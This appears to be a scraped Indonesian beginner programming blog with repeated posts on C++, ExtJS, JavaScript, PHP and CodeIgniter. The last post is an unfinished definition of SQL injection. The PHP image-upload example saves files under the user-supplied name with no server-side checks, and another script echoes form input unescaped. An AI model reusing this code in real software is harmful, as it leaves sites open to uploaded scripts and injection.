nih yang mungkin sangat dibutuhkan untuk kita, ketika mau install ulang dan malas untuk export database satu persatu.
mysql menyediakan script untuk dump database kita melalu command line :D
langsung aja neh
mysqldump -u root -p --all-databases > D:\backup.sql
semoga bermanfaat jon :)
Monday, August 25, 2014
Friday, May 30, 2014
Penjumlahan C++
Bahasan pada artikel sekarang yaitu kita akan membuat sebuat penjumlahan, dimana memasukan angka pertama dan kedua.
sederhana saja, dengan menggunakan cin untuk menyimpan inputannya. pada case ini, kita membutuhkan 3 variable , satu,dua,hasil.
berikut kodenya
main.cpp
#include<iostream>
using namespace std;
int main()
{
int satu,dua,hasil;
cout<<"Masukan angka pertama"<<endl;
cin>>satu;
cout<<"Masukan angka kedua"<<endl;
cin>>dua;
hasil=satu+dua;
cout<<"Hasil "<<satu<<"+"<<dua<<" = "<<hasil;
}
Mengambil Objek C++
setelah pada artikel sebelumnya dibahas cara menampilkan sebuah tulisan. sekarang bagaimana caranya kita mulai bermain objek. dimana dengan menggunakan objek kita dapat meload sebuah fungsi secara terus menerus tanpa membuat kembali koding yang sama.
kalo masih bingung silahkan dipelajari konsep OOP.
main.cpp
//KODE C++
#include<iostream>
using namespace std;
class Objeknya
{
public:
void hello()
{
cout << "Hello C++ \n\n";
}
void nama()
{
cout << "Nama saya Deden Hendra Permana \n\n";
}
};
int main()
{
Objeknya o;
o.hello();
o.nama();
return 0;
}
Class Objek merupakan objek yang akan kita gunakan untuk di load. perhatikan kode berikut
int main()
{
Objeknya o;
o.hello();
o.nama();
return 0;
}
Objeknya o;
berarti kita meload class Objeknya dengan memberi nama baru / alias o.
o.hello()
berarti meload void hello
o.nama()
berarti meload void nama
kalo masih bingung silahkan dipelajari konsep OOP.
main.cpp
//KODE C++
#include<iostream>
using namespace std;
class Objeknya
{
public:
void hello()
{
cout << "Hello C++ \n\n";
}
void nama()
{
cout << "Nama saya Deden Hendra Permana \n\n";
}
};
int main()
{
Objeknya o;
o.hello();
o.nama();
return 0;
}
Class Objek merupakan objek yang akan kita gunakan untuk di load. perhatikan kode berikut
int main()
{
Objeknya o;
o.hello();
o.nama();
return 0;
}
Objeknya o;
berarti kita meload class Objeknya dengan memberi nama baru / alias o.
o.hello()
berarti meload void hello
o.nama()
berarti meload void nama
Hello C++
sedikit flash back ke bahasa C dulu jon. didasari ingin ngoprek robotik dan controller dengan sangat semangat saya memulai kembali mempelajari C yang sudah sangat lampau tidak digunakan meskipun PHP ga beda jauh hehe
oke dimulai dengan memprint tulisan hello C++
main.cpp
//KODE C++
#include <iostream>
using namespace std;
int main()
{
cout << "Hello C++";
}
#include <iostream> merupakan library yang digunakan untuk meload cout .
oke dimulai dengan memprint tulisan hello C++
main.cpp
//KODE C++
#include <iostream>
using namespace std;
int main()
{
cout << "Hello C++";
}
#include <iostream> merupakan library yang digunakan untuk meload cout .
Tuesday, May 6, 2014
Progress Bar EXTJS
progress.html
<html>
<html>
<head>
<title>Progress</title>
<!-- Ext JS Files -->
<!-- Ext JS Files -->
<link rel="stylesheet" type="text/css" href="extjs/resources/css/ext-all.css">
<script type="text/javascript" src="extjs/ext-all-debug.js"></script>
<!-- App Files -->
<script type="text/javascript" src="progress.js"></script>
</head>
<body></body>
</html>
progress.js
Ext.onReady(function() {
var pgb = Ext.create('Ext.ProgressBar', {
text: 'Updating...',
width: 200
});
var smenu = Ext.create('Ext.menu.Menu', {
width: 200,
plain: true,
float: true,
shadow: true,
frame: true,
items: [
pgb
]
});
smenu.show();
var prog = 0;
setInterval(function() {
prog = (prog + 5) % 105;
pgb.updateProgress(prog / 100);
}, 100);
});
<html>
<html>
<head>
<title>Progress</title>
<!-- Ext JS Files -->
<!-- Ext JS Files -->
<link rel="stylesheet" type="text/css" href="extjs/resources/css/ext-all.css">
<script type="text/javascript" src="extjs/ext-all-debug.js"></script>
<!-- App Files -->
<script type="text/javascript" src="progress.js"></script>
</head>
<body></body>
</html>
progress.js
Ext.onReady(function() {
var pgb = Ext.create('Ext.ProgressBar', {
text: 'Updating...',
width: 200
});
var smenu = Ext.create('Ext.menu.Menu', {
width: 200,
plain: true,
float: true,
shadow: true,
frame: true,
items: [
pgb
]
});
smenu.show();
var prog = 0;
setInterval(function() {
prog = (prog + 5) % 105;
pgb.updateProgress(prog / 100);
}, 100);
});
GET Value By ID on EXTJS
form.html
<html>
<head>
<title>Daftar</title>
<!-- Ext JS Files -->
<link rel="stylesheet" type="text/css" href="extjs/resources/css/ext-all.css">
<script type="text/javascript" src="extjs/ext-all-debug.js"></script>
<!-- App Files -->
<script type="text/javascript" src="form.js"></script>
</head>
<body>
<div id="myform"></div>
</body>
</html>
form.js
Ext.onReady(function(){
var simple = new Ext.form.FormPanel({
standardSubmit: true,
frame:true,
title: 'Daftar',
width: 350,
defaults: {width: 230},
defaultType: 'textfield',
items: [{
fieldLabel: 'NPM',
name: 'npm',
id:'npm',
allowBlank:false
},
{
fieldLabel: 'Nama',
name: 'nama',
id: 'nama',
allowBlank:false
},
{
fieldLabel: 'Kelas',
name: 'kelas',
id: 'kelas',
allowBlank:false
},
{
fieldLabel: 'Alamat',
name: 'alamat',
id: 'alamat',
allowBlank:false
},
{
inputType: 'hidden',
id: 'submitbutton',
name: 'myhiddenbutton',
value: 'hiddenvalue'
}
],
buttons: [{
text: 'Submit',
handler: function() {
Ext.Msg.show({
title: "Daftar",
msg: "NPM : "+Ext.getCmp('npm').getValue()+"<br> Nama : "+Ext.getCmp('nama').getValue()+"<br> Kelas : "+Ext.getCmp('kelas').getValue()+"<br> Alamat : "+Ext.getCmp('alamat').getValue(),
icon: Ext.Msg.INFO,
buttons: Ext.MessageBox.OK
});
}
}]
});
simple.render('myform');
});
keterangan : allowBlank diartikan data boleh kosong atau tidak, jika kita mengisi dengan false, maka data tidak boleh kosong.
<html>
<head>
<title>Daftar</title>
<!-- Ext JS Files -->
<link rel="stylesheet" type="text/css" href="extjs/resources/css/ext-all.css">
<script type="text/javascript" src="extjs/ext-all-debug.js"></script>
<!-- App Files -->
<script type="text/javascript" src="form.js"></script>
</head>
<body>
<div id="myform"></div>
</body>
</html>
form.js
Ext.onReady(function(){
var simple = new Ext.form.FormPanel({
standardSubmit: true,
frame:true,
title: 'Daftar',
width: 350,
defaults: {width: 230},
defaultType: 'textfield',
items: [{
fieldLabel: 'NPM',
name: 'npm',
id:'npm',
allowBlank:false
},
{
fieldLabel: 'Nama',
name: 'nama',
id: 'nama',
allowBlank:false
},
{
fieldLabel: 'Kelas',
name: 'kelas',
id: 'kelas',
allowBlank:false
},
{
fieldLabel: 'Alamat',
name: 'alamat',
id: 'alamat',
allowBlank:false
},
{
inputType: 'hidden',
id: 'submitbutton',
name: 'myhiddenbutton',
value: 'hiddenvalue'
}
],
buttons: [{
text: 'Submit',
handler: function() {
Ext.Msg.show({
title: "Daftar",
msg: "NPM : "+Ext.getCmp('npm').getValue()+"<br> Nama : "+Ext.getCmp('nama').getValue()+"<br> Kelas : "+Ext.getCmp('kelas').getValue()+"<br> Alamat : "+Ext.getCmp('alamat').getValue(),
icon: Ext.Msg.INFO,
buttons: Ext.MessageBox.OK
});
}
}]
});
simple.render('myform');
});
keterangan : allowBlank diartikan data boleh kosong atau tidak, jika kita mengisi dengan false, maka data tidak boleh kosong.
Alert EXTJS
alert.html
<html>
<head>
<title>Alert</title>
<!-- Ext JS Files -->
<link rel="stylesheet" type="text/css" href="extjs/resources/css/ext-all.css">
<script type="text/javascript" src="extjs/ext-all-debug.js"></script>
<!-- App Files -->
<script type="text/javascript" src="alert.js"></script>
</head>
<body>
</body>
</html>
alert.js
Ext.onReady(function(){
Ext.Msg.show({
title: "Alert",
msg: "Hello World, This is sample alert ! ya-ha",
icon: Ext.Msg.INFO,
buttons: Ext.MessageBox.OK
});
});
<html>
<head>
<title>Alert</title>
<!-- Ext JS Files -->
<link rel="stylesheet" type="text/css" href="extjs/resources/css/ext-all.css">
<script type="text/javascript" src="extjs/ext-all-debug.js"></script>
<!-- App Files -->
<script type="text/javascript" src="alert.js"></script>
</head>
<body>
</body>
</html>
alert.js
Ext.onReady(function(){
Ext.Msg.show({
title: "Alert",
msg: "Hello World, This is sample alert ! ya-ha",
icon: Ext.Msg.INFO,
buttons: Ext.MessageBox.OK
});
});
Hello EXTJS
hello.html
<html>
<head>
<title>Hello</title>
<!-- Ext JS Files -->
<link rel="stylesheet" type="text/css" href="extjs/resources/css/ext-all.css">
<script type="text/javascript" src="extjs/ext-all-debug.js"></script>
<!-- App Files -->
<script type="text/javascript" src="hello.js"></script>
</head>
<body>
</body>
</html>
hello.js
Ext.application({
name: 'Hello ExtJS',
launch: function() {
Ext.create('Ext.container.Viewport', {
layout: 'fit',
items: [
{
title: 'Hello ExtJS',
html : 'Hello ExtJS! My name is DEDEN HENDRA PERMANA'
}
]
});
}
});
<html>
<head>
<title>Hello</title>
<!-- Ext JS Files -->
<link rel="stylesheet" type="text/css" href="extjs/resources/css/ext-all.css">
<script type="text/javascript" src="extjs/ext-all-debug.js"></script>
<!-- App Files -->
<script type="text/javascript" src="hello.js"></script>
</head>
<body>
</body>
</html>
hello.js
Ext.application({
name: 'Hello ExtJS',
launch: function() {
Ext.create('Ext.container.Viewport', {
layout: 'fit',
items: [
{
title: 'Hello ExtJS',
html : 'Hello ExtJS! My name is DEDEN HENDRA PERMANA'
}
]
});
}
});
Thursday, May 1, 2014
Auto Submit with JavaScript
JavaScript menyediakan fasilitas untuk kita melakukan auto submit, dengan menggunakan fungsi submit(). berikut kodenya
<form name="myform" >
</form>
<script type="text/javascript">
function submitform()
{
document.myform.submit();
}
submitform();
</script>
<form name="myform" >
</form>
<script type="text/javascript">
function submitform()
{
document.myform.submit();
}
submitform();
</script>
Box Confirmation
dari kasus yang saya temukan ketika sedang menyelesaikan job, ada
halaman yang tidak dizinkan untuk meninggalkan dan merefresh sebelum
menyelesaikan pengisian, mungkin sudah tidak asing ketika anda
menggunakan facebook, ada mengetikan sesuatu di form update status, lalu
anda merefresh halaman tersebut sebelum mengupdate status tersebut.
apa yang akan terjadi ? sebuah kotak konfirmasi tampil untuk meyakinkan anda,apakah anda akan meninggalkan halaman ini? dengan catatan bahwa status yang belum anda update akan terhapus
berikut ini kodenya
<script type = "text/javascript">
var needToConfirm = true;
window.onbeforeunload = confirm;
function confirm() {
if (needToConfirm) {
return "Jika anda meninggalkan halaman ini, nilai anda akan 0";
}
}
</script>
apa yang akan terjadi ? sebuah kotak konfirmasi tampil untuk meyakinkan anda,apakah anda akan meninggalkan halaman ini? dengan catatan bahwa status yang belum anda update akan terhapus
berikut ini kodenya
<script type = "text/javascript">
var needToConfirm = true;
window.onbeforeunload = confirm;
function confirm() {
if (needToConfirm) {
return "Jika anda meninggalkan halaman ini, nilai anda akan 0";
}
}
</script>
Disable Refresh
anda tidak akan bisa mereload halaman ini dengan menggukan refresh atau f5.
berikut kodenya
<html >
<head >
<title>Disable Refresh</title>
<script type="text/javascript">
var version = navigator.appVersion;
function showKeyCode(e) {
var keycode = (window.event) ? event.keyCode : e.keyCode;
if ((version.indexOf('MSIE') != -1)) {
if (keycode == 116) {
event.keyCode = 0;
event.returnValue = false;
return false;
}
}
else {
if (keycode == 116) {
return false;
}
}
}
</script>
</head>
<body onload="JavaScript:document.body.focus();" onkeydown="return showKeyCode(event)">
Kaga bisa direfresh jon coba aja haha
</body>
</html>
berikut kodenya
<html >
<head >
<title>Disable Refresh</title>
<script type="text/javascript">
var version = navigator.appVersion;
function showKeyCode(e) {
var keycode = (window.event) ? event.keyCode : e.keyCode;
if ((version.indexOf('MSIE') != -1)) {
if (keycode == 116) {
event.keyCode = 0;
event.returnValue = false;
return false;
}
}
else {
if (keycode == 116) {
return false;
}
}
}
</script>
</head>
<body onload="JavaScript:document.body.focus();" onkeydown="return showKeyCode(event)">
Kaga bisa direfresh jon coba aja haha
</body>
</html>
Wednesday, April 16, 2014
Upload with progress bar for reading a file
mungkin sekarang kita sudah terbiasa, ketika kita mengupload sebuah file entah itu gambar ,docx atau file lain bertemu dengan sebuah progress bar. ya ini memang sangat membantu menjelaskan apakah upload telah selesai,gagal atau masih dilakukan. dengan adanya progress bar kita dapat mengetahui hal itu.
berikut code untuk membaca file dengan js tanpa mengupload ke folder kita, ini hanya membaca saja file nya
terima kasih kepada http://www.html5rocks.com/en/tutorials/file/dndfiles/ telah membantu membuat artikel ini.
berikut ini code nya
<script>
var reader;
var progress = document.querySelector('.percent');
function abortRead() {
reader.abort();
}
function errorHandler(evt) {
switch(evt.target.error.code) {
case evt.target.error.NOT_FOUND_ERR:
alert('File Not Found!');
break;
case evt.target.error.NOT_READABLE_ERR:
alert('File is not readable');
break;
case evt.target.error.ABORT_ERR:
break; // noop
default:
alert('An error occurred reading this file.');
};
}
function updateProgress(evt) {
// evt is an ProgressEvent.
if (evt.lengthComputable) {
var percentLoaded = Math.round((evt.loaded / evt.total) * 100);
// Increase the progress bar length.
if (percentLoaded < 100) {
progress.style.width = percentLoaded + '%';
progress.textContent = percentLoaded + '%';
}
}
}
function handleFileSelect(evt) {
// Reset progress indicator on new file selection.
progress.style.width = '0%';
progress.textContent = '0%';
reader = new FileReader();
reader.onerror = errorHandler;
reader.onprogress = updateProgress;
reader.onabort = function(e) {
alert('File read cancelled');
};
reader.onloadstart = function(e) {
document.getElementById('progress_bar').className = 'loading';
};
reader.onload = function(e) {
// Ensure that the progress bar displays 100% at the end.
progress.style.width = '100%';
progress.textContent = '100%';
setTimeout("document.getElementById('progress_bar').className='';", 2000);
}
// Read in the image file as a binary string.
reader.readAsBinaryString(evt.target.files[0]);
}
document.getElementById('files').addEventListener('change', handleFileSelect, false);
</script>
berikut code untuk membaca file dengan js tanpa mengupload ke folder kita, ini hanya membaca saja file nya
terima kasih kepada http://www.html5rocks.com/en/tutorials/file/dndfiles/ telah membantu membuat artikel ini.
berikut ini code nya
<script>
var reader;
var progress = document.querySelector('.percent');
function abortRead() {
reader.abort();
}
function errorHandler(evt) {
switch(evt.target.error.code) {
case evt.target.error.NOT_FOUND_ERR:
alert('File Not Found!');
break;
case evt.target.error.NOT_READABLE_ERR:
alert('File is not readable');
break;
case evt.target.error.ABORT_ERR:
break; // noop
default:
alert('An error occurred reading this file.');
};
}
function updateProgress(evt) {
// evt is an ProgressEvent.
if (evt.lengthComputable) {
var percentLoaded = Math.round((evt.loaded / evt.total) * 100);
// Increase the progress bar length.
if (percentLoaded < 100) {
progress.style.width = percentLoaded + '%';
progress.textContent = percentLoaded + '%';
}
}
}
function handleFileSelect(evt) {
// Reset progress indicator on new file selection.
progress.style.width = '0%';
progress.textContent = '0%';
reader = new FileReader();
reader.onerror = errorHandler;
reader.onprogress = updateProgress;
reader.onabort = function(e) {
alert('File read cancelled');
};
reader.onloadstart = function(e) {
document.getElementById('progress_bar').className = 'loading';
};
reader.onload = function(e) {
// Ensure that the progress bar displays 100% at the end.
progress.style.width = '100%';
progress.textContent = '100%';
setTimeout("document.getElementById('progress_bar').className='';", 2000);
}
// Read in the image file as a binary string.
reader.readAsBinaryString(evt.target.files[0]);
}
document.getElementById('files').addEventListener('change', handleFileSelect, false);
</script>
Wednesday, March 12, 2014
Start and Stop Object
Gara-gara niat bikin project game kecil buat andro, jadi rada memperdalam HTML5. lebih simple dalam pembuatannya menggunakan HTML5 dan efek serta animasinya lumayan keren. bisa dibantu dengan JS agar lebih interaktifnya.
Pada kasus sekarang saya akan mencoba membuat start and stop object. dimana ketika kita mengklik pertama, object akan berjalan. dan ketika di klik lagi object akan berhenti.
untuk kode bisa dilihat di link yang saya simpan di ucapan terima kasih
terima kasih untuk http://www.html5canvastutorials.com/advanced/html5-canvas-start-and-stop-an-animation/
atas tutornya sangat mencerahkan dan semoga bermanfaat untuk kalian.
Pada kasus sekarang saya akan mencoba membuat start and stop object. dimana ketika kita mengklik pertama, object akan berjalan. dan ketika di klik lagi object akan berhenti.
untuk kode bisa dilihat di link yang saya simpan di ucapan terima kasih
terima kasih untuk http://www.html5canvastutorials.com/advanced/html5-canvas-start-and-stop-an-animation/
atas tutornya sangat mencerahkan dan semoga bermanfaat untuk kalian.
Tuesday, March 11, 2014
Membaca Isi File PDF dengan PHP (pdf2text)
Nemu kasus baru nih guys. biasanya kalo ngebaca file .txt php sudah menyediakan fopen() untuk membacanya. Kasus sekarang yang baru saya alami, bagaimana bisa membaca isi file dari PDF. jika kita gunakan fopen akan muncul simbol-simbol yang ga jelas apa itu sebenarnya. hehe
Nah kunci nya kita pake class yang udah disediakan dan tinggal di download aja di link ini http://pastebin.com/hRviHKp1 . sample code yang saya buat seperti berikut
<?php
include('class.pdf2text.php');
$a = new PDF2Text();
$a->setFilename('test.pdf'); //nama file
$a->decodePDF();
echo $a->output();
?>
berikut ini gambaran dari isi pdf saya
itu gambaran di halaman pertamanya
dan ini hasil dari code diatas
nah bisakan ? hanya saja class ini bisa mengkonversi text saja. gambar tidak bisa. silahkan di coba dan semoga bermanfaat :D
Nah kunci nya kita pake class yang udah disediakan dan tinggal di download aja di link ini http://pastebin.com/hRviHKp1 . sample code yang saya buat seperti berikut
<?php
include('class.pdf2text.php');
$a = new PDF2Text();
$a->setFilename('test.pdf'); //nama file
$a->decodePDF();
echo $a->output();
?>
berikut ini gambaran dari isi pdf saya
dan ini hasil dari code diatas
Saturday, March 1, 2014
Disable Back in Browser
kasus baru masalah bagaimana me-non aktifkan back di browser. ada kasus dimana ketika saya membuat sebuah halaman ujian Online agar siswa yang telah masuk ke ruangan tidak bisa keluar dari ruangan ujian sebelum siswa tersebut menyelesaikan soal .
berikut sample code nya
<script>
window.onload = function () {
window.location.hash = "NoBack";
window.location.hash = "Again-NoBack";
}
setInterval("hashChange()", 100);
function hashChange() {
window.location.hash = "NoBack";
window.history.go(1);
}
</script>
bagaimana ? work kan ? semoga bermanfaat
berikut sample code nya
<script>
window.onload = function () {
window.location.hash = "NoBack";
window.location.hash = "Again-NoBack";
}
setInterval("hashChange()", 100);
function hashChange() {
window.location.hash = "NoBack";
window.history.go(1);
}
</script>
bagaimana ? work kan ? semoga bermanfaat
Monday, February 3, 2014
Menghilangkan index.php dengan htaccess (Codeigniter)
sekarang bagaimana cara menghilangkan index.php agar terlihat lebih clean url pada website kita. sederhana sebetulnya dengan menggunakan .htaccess . semoga tutor ini bisa membantu
pertama buat file dengan nama .htaccess
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{ENV:REDIRECT_APP_PATH} !^$
RewriteRule ^(.*)$ - [E=APP_PATH:%{ENV:REDIRECT_APP_PATH}]
RewriteCond %{ENV:APP_PATH} ^$
RewriteRule ^(.*)$ - [E=APP_PATH:/$1]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ index.php [L]
</IfModule>
simpan pada folder root misal nama folder kerja di htdocs latihan. simpan pada /htdocs/latihan beri nama .htaccess
lalu edit file config pada folder /application/config/config.php menjadi seperti berikut
$config['base_url'] = 'http://localhost/latihan';
$config['index_page'] = '';
yap selesai, hanya seperti itu saja untuk membuat url kita menjadi clean.
untuk file .htaccess ada beberapa perbedaan sesuai dengan versi yang digunakan. semoga bermanfaat
Kirim Email dari PHP dengan Codeingiter
dari kasus yang baru2 ini dialami, dimana ada konfirmasi ke email setelah melakukan pendaftaran. hanya saja web kita harus dalam keadaan online / sudah di hosting. Codeigniter telah menyediakan library untuk menangani email.
berikut ini
$this->load->library('email');
$this->email->from('your@example.com', 'Your Name');
$this->email->to('someone@example.com');
$this->email->cc('another@another-example.com');
$this->email->bcc('them@their-example.com');
$this->email->subject('Email Test');
$this->email->message('Testing the email class.');
$this->email->send();
echo $this->email->print_debugger();
sumber http://ellislab.com/codeigniter/user-guide/libraries/email.html
semoga bermanfaat
berikut ini
$this->load->library('email');
$this->email->from('your@example.com', 'Your Name');
$this->email->to('someone@example.com');
$this->email->cc('another@another-example.com');
$this->email->bcc('them@their-example.com');
$this->email->subject('Email Test');
$this->email->message('Testing the email class.');
$this->email->send();
echo $this->email->print_debugger();
sumber http://ellislab.com/codeigniter/user-guide/libraries/email.html
semoga bermanfaat
Sunday, January 12, 2014
Multi Select jQuery UI dan Membaca Inputannya
Mungkin bagi sebagian sudah tidak asing dengan fitur yang sudah disediakan oleh jQuery UI ini. tapi saya akan mencoba membuat sebuah form multi select dan membaca inputan atas pilihan kita pada form tersebut.
form ini sangat berguna ketika kita ingin memilih banyak data, konsep kerja seperti dropdown, hanya saja dengan ini kita bisa memilih inputan lebih dari 1.
langsung saja berikut kodenya
index.html
<html>
<head>
<title>Multi Select</title>
<link rel="stylesheet" href="multiselect/docsupport/style.css">
<link rel="stylesheet" href="multiselect/docsupport/prism.css">
<link rel="stylesheet" href="multiselect/chosen.css">
<style type="text/css" media="all">
/* fix rtl for demo */
.chosen-rtl .chosen-drop { left: -9000px; }
</style>
</head>
<body>
<div id="container">
<div id="content">
<form method="post" action="proses.php">
<?php
$array = array("1"=>"deden","2"=>"rahmi");
echo form_multiselect('isi[] data-placeholder="Choose a Country..." class="chosen-select" multiple style="width:350px;" tabindex="4"',$array);
?>
<input type="submit">
</form>
</div>
</div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.6.4/jquery.min.js" type="text/javascript"></script>
<script src="multiselect/chosen.jquery.js" type="text/javascript"></script>
<script src="multiselect/docsupport/prism.js" type="text/javascript" charset="utf-8"></script>
<script type="text/javascript">
var config = {
'.chosen-select' : {},
'.chosen-select-deselect' : {allow_single_deselect:true},
'.chosen-select-no-single' : {disable_search_threshold:10},
'.chosen-select-no-results': {no_results_text:'Oops, nothing found!'},
'.chosen-select-width' : {width:"95%"}
}
for (var selector in config) {
$(selector).chosen(config[selector]);
}
</script>
</body>
</html>
untuk source plugin akan dilampirkan pada bagian akhir artikel ini.
lalu buat proses php untuk membaca inputannya
proses.php
<?php
foreach($_POST['isi'] as $row){
echo $row;
}
?>
selamat mencoba , semoga bermanfaat.
link download http://www.4shared.com/zip/5hjI1_28ba/multiselect.html
form ini sangat berguna ketika kita ingin memilih banyak data, konsep kerja seperti dropdown, hanya saja dengan ini kita bisa memilih inputan lebih dari 1.
langsung saja berikut kodenya
index.html
<html>
<head>
<title>Multi Select</title>
<link rel="stylesheet" href="multiselect/docsupport/style.css">
<link rel="stylesheet" href="multiselect/docsupport/prism.css">
<link rel="stylesheet" href="multiselect/chosen.css">
<style type="text/css" media="all">
/* fix rtl for demo */
.chosen-rtl .chosen-drop { left: -9000px; }
</style>
</head>
<body>
<div id="container">
<div id="content">
<form method="post" action="proses.php">
<?php
$array = array("1"=>"deden","2"=>"rahmi");
echo form_multiselect('isi[] data-placeholder="Choose a Country..." class="chosen-select" multiple style="width:350px;" tabindex="4"',$array);
?>
<input type="submit">
</form>
</div>
</div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.6.4/jquery.min.js" type="text/javascript"></script>
<script src="multiselect/chosen.jquery.js" type="text/javascript"></script>
<script src="multiselect/docsupport/prism.js" type="text/javascript" charset="utf-8"></script>
<script type="text/javascript">
var config = {
'.chosen-select' : {},
'.chosen-select-deselect' : {allow_single_deselect:true},
'.chosen-select-no-single' : {disable_search_threshold:10},
'.chosen-select-no-results': {no_results_text:'Oops, nothing found!'},
'.chosen-select-width' : {width:"95%"}
}
for (var selector in config) {
$(selector).chosen(config[selector]);
}
</script>
</body>
</html>
untuk source plugin akan dilampirkan pada bagian akhir artikel ini.
lalu buat proses php untuk membaca inputannya
proses.php
<?php
foreach($_POST['isi'] as $row){
echo $row;
}
?>
selamat mencoba , semoga bermanfaat.
link download http://www.4shared.com/zip/5hjI1_28ba/multiselect.html
Thursday, January 9, 2014
Upload File Ala Facebook
Mungkin saat kita memilih file untuk di upload tidak akan nampak gambar yang kita pilih sebelum di upload. nah pada artikel kali ini, saya akan mencoba membuat sebuah upload dimana ada thumbnailnya / tampilan sebelum kita upload . ini berguna untuk meminimalisir kesalahan dalam mengupload file. sangat sederhana sekali, dimana kita menggunakan proses upload pada php dan fungsi thumbnail pada javascript.
sebelum memulai, buat satu folder untuk menampung foto yang akan diupload, beri saja nama uploads.
berikut kode HTMLnya
index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>HTML5 File API</title>
<style>
#main {
width: 300px;
margin:auto;
background: #ececec;
padding: 20px;
border: 1px solid #ccc;
}
#image-list {
list-style:none;
margin:0;
padding:0;
}
#image-list li {
background: #fff;
border: 1px solid #ccc;
text-align:center;
padding:20px;
margin-bottom:19px;
}
#image-list li img {
width: 258px;
vertical-align: middle;
border:1px solid #474747;
}
</style>
</head>
<body>
<div id="main">
<input type="file" name="images" id="images" multiple />
<button type="submit" id="btn">Upload Files!</button>
<div id="response"></div>
<ul id="image-list">
</ul>
</div>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.2/jquery.min.js"></script>
<script src="upload.js"></script>
</body>
</html>
pastikan anda terhubung pada internet, karena pada contoh diatas kode
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.2/jquery.min.js"></script> mengambil source dari link terkait.
lalu ini file php untuk proses pemindahan file ke server
upload.php
<?php
foreach ($_FILES["images"]["error"] as $key => $error) {
if ($error == UPLOAD_ERR_OK) {
$name = $_FILES["images"]["name"][$key];
move_uploaded_file( $_FILES["images"]["tmp_name"][$key], "uploads/" . $_FILES['images']['name'][$key]);
}
}
echo "<h2>Successfully Uploaded Images</h2>";
lalu ini file js. untuk membuat thumbnailnya
upload.js
(function () {
var input = document.getElementById("images"),
formdata = false;
function showUploadedItem (source) {
var list = document.getElementById("image-list"),
li = document.createElement("li"),
img = document.createElement("img");
img.src = source;
li.appendChild(img);
list.appendChild(li);
}
if (window.FormData) {
formdata = new FormData();
document.getElementById("btn").style.display = "none";
}
input.addEventListener("change", function (evt) {
document.getElementById("response").innerHTML = "Uploading . . ."
var i = 0, len = this.files.length, img, reader, file;
for ( ; i < len; i++ ) {
file = this.files[i];
if (!!file.type.match(/image.*/)) {
if ( window.FileReader ) {
reader = new FileReader();
reader.onloadend = function (e) {
showUploadedItem(e.target.result, file.fileName);
};
reader.readAsDataURL(file);
}
if (formdata) {
formdata.append("images[]", file);
}
}
}
if (formdata) {
$.ajax({
url: "upload.php",
type: "POST",
data: formdata,
processData: false,
contentType: false,
success: function (res) {
document.getElementById("response").innerHTML = res;
}
});
}
}, false);
}());
tampilan dibawah ini merupakan hasil dari kode diatas
sebelum memulai, buat satu folder untuk menampung foto yang akan diupload, beri saja nama uploads.
berikut kode HTMLnya
index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>HTML5 File API</title>
<style>
#main {
width: 300px;
margin:auto;
background: #ececec;
padding: 20px;
border: 1px solid #ccc;
}
#image-list {
list-style:none;
margin:0;
padding:0;
}
#image-list li {
background: #fff;
border: 1px solid #ccc;
text-align:center;
padding:20px;
margin-bottom:19px;
}
#image-list li img {
width: 258px;
vertical-align: middle;
border:1px solid #474747;
}
</style>
</head>
<body>
<div id="main">
<input type="file" name="images" id="images" multiple />
<button type="submit" id="btn">Upload Files!</button>
<div id="response"></div>
<ul id="image-list">
</ul>
</div>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.2/jquery.min.js"></script>
<script src="upload.js"></script>
</body>
</html>
pastikan anda terhubung pada internet, karena pada contoh diatas kode
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.2/jquery.min.js"></script> mengambil source dari link terkait.
lalu ini file php untuk proses pemindahan file ke server
upload.php
<?php
foreach ($_FILES["images"]["error"] as $key => $error) {
if ($error == UPLOAD_ERR_OK) {
$name = $_FILES["images"]["name"][$key];
move_uploaded_file( $_FILES["images"]["tmp_name"][$key], "uploads/" . $_FILES['images']['name'][$key]);
}
}
echo "<h2>Successfully Uploaded Images</h2>";
lalu ini file js. untuk membuat thumbnailnya
upload.js
(function () {
var input = document.getElementById("images"),
formdata = false;
function showUploadedItem (source) {
var list = document.getElementById("image-list"),
li = document.createElement("li"),
img = document.createElement("img");
img.src = source;
li.appendChild(img);
list.appendChild(li);
}
if (window.FormData) {
formdata = new FormData();
document.getElementById("btn").style.display = "none";
}
input.addEventListener("change", function (evt) {
document.getElementById("response").innerHTML = "Uploading . . ."
var i = 0, len = this.files.length, img, reader, file;
for ( ; i < len; i++ ) {
file = this.files[i];
if (!!file.type.match(/image.*/)) {
if ( window.FileReader ) {
reader = new FileReader();
reader.onloadend = function (e) {
showUploadedItem(e.target.result, file.fileName);
};
reader.readAsDataURL(file);
}
if (formdata) {
formdata.append("images[]", file);
}
}
}
if (formdata) {
$.ajax({
url: "upload.php",
type: "POST",
data: formdata,
processData: false,
contentType: false,
success: function (res) {
document.getElementById("response").innerHTML = res;
}
});
}
}, false);
}());
tampilan dibawah ini merupakan hasil dari kode diatas
Wednesday, January 8, 2014
SQL INJECTION PART II
Pengertian SQL INJECTION:
Sebelum kita mengetahui apa itu pengertian SQL Injection, kita
ketahui dulu apa arti dari SQL itu sendiri. Pengertian SQL itu sendiri
adalah sebuah bahasa yang dirancang khusus untuk dapat berkomunikasi
dengan database. SQL dibagi menjadi dua bagian yaituDDL (Data Definition Language) adalah perintah-perintah SQL yang berhubungan dengan modifikasi database seperti membuat database, membuat tabel, index, menghapus tabel, index dan sejenisnya.
DML (data Manipulation Language) adalah perintah-perintah SQL untuk memodifikasi isi database dan (khususnya) tabel seperti menambah data, mengedit, menghapus, mengelompokkan, merelasikan data dan sejenisnya.
Setelah kita mengetahui apa arti SQL itu sendiri, baru deh kita masuk ke pengertian SQL Injection.
